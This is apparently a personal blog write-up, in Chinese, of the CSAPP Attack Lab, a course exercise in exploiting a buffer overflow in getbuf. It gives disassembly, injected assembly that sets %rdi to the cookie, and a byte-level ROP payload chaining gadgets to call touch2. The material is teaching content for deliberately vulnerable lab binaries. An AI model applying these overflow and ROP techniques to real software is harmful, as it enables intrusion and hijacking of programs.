CSAPP Attack Lab

Bomb Lab 之后做了 Attack Lab。下面又来复盘回顾一下。

准备

这里 下载 handout 和 writeup。

writeup 很重要,一定得看的。解压之后我们可以看到 ctargetrtarget。分别对应前 3 个 phrase 和 后两个 phrase 还有一个用于将 16 进制表示的 byte 转化对应字符串的工具 hex2raw

用法在 writeup 里面有写。 简单地说就是标准输入中输入两个一组的十六进制数字表示的 byte。每个 byte 由一个或多个空格分割还可以用 /**/ 写注释。输出为对应的字符串。因为有一些不可见字符键盘是打不出来的所以很有用。

我们可以通过管道或者重定向的操作灵活的使用它

writeup 还讲到了利用 gccobjdump 生成机器码的方法

通关过程

首先要先分析程序。我们的输入是过 getbuf 这个函数读进去的。汇编代码长这样

1
2
3
4
5
6
7
8
Dump of assembler code for function getbuf:
=> 0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: callq 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq
End of assembler dump.

函数分配了0x28也就是 40 bytes 的缓冲区,将输入读入到栈中。然后调用ret

栈空间大概长这样

stack

栈是向低地址增长的。代码的运行方向是是从小到大。栈是从栈顶%rsp开始向高地址写的。

超过 40 个 byte 的部分就会覆盖掉返回地址
ctargetrtarget getbuf 部分都是一样的, 下面的 phrase 的区别就是要往栈里面放些什么东西让程序执行到我们想要执行到的地方。

phrase1

只要调用 touch1 直接在 40 bytes 的任意字符后面放 touch1 的地址就行了。将 touch1 地址写成小端形式输到hex2raw就能生成。

phrase2

这次函数多了一个参数,还判断它和 cookie 一致。那么我们要让 %rdi 等于cookie。我们需要插入代码进去执行。 writeup 里说我们在所有控制转移的时候都要通过 ret

1
2
mov $0x59b997fa, %rdi
ret

写出汇编代码 gcc -c 配合 objdump 拿到 hex 表示。40个填充字符后的第一个四字写代码所在的地址。后一个四字就是插入的代码中 ret 跳回的地址。所以后一个四字写 touch2 的地址

touch2

phrase3

同样是传参数判断是否与 cookie 相等。不过这此时参数是个字符串,也就是首元素的地址。

touch3

这里插入的代码是

1
2
mov $0x5561dc78, %rdi #0x5561dc78 = rsp
ret

phrase4

phrase4 用的是 rtargetctarget 区别就是栈地址有随机化和栈不可执行。 然后就要用到 rop

因为栈的代码不可执行所以利用的是已有的代码。已有的代码指的是从 byte 的角度去看待的代码。然后通过一系列 gadgets 执行到对应的函数。具体的解释 writeup 有了。
gadgets 的特征就是 c3 结尾。

具体到这一关 writeup 里这么说

All the gadgets you need can be found in the region of the code for rtarget demarcated by the functions start_farm and mid_farm.

要点就是找到 gadgets

要执行 touch2 并且把 %rdi 置成 cookie。可以直接把 cookie 写在栈里面 pop 到 %rdi 里面。配合 writeup 里的表找gadgets

pop%rdi 要用到的 5f 没有找到。 只能先 pop 到别的地方再 mov

于是找到了这样的 gadgets

1
2
pop %rax
mov %rax, %rdi

对应函数和地址在这 90 对应的是 nop 所以可以忽略

1
2
3
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3
1
2
3
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3

字符串的组成是

40 offset + pop gadgets + cookie + mov gadgets + touch2 addr

1
2
3
4
5
....offset(40 bytes)
ab 19 40 00 00 00 00 00 /* pop cookie to rax */
fa 97 b9 59 00 00 00 00 /* cookie */
c5 19 40 00 00 00 00 00 /* mov rax to rdi */
ec 17 40 00 00 00 00 00 /* touch2 */
0%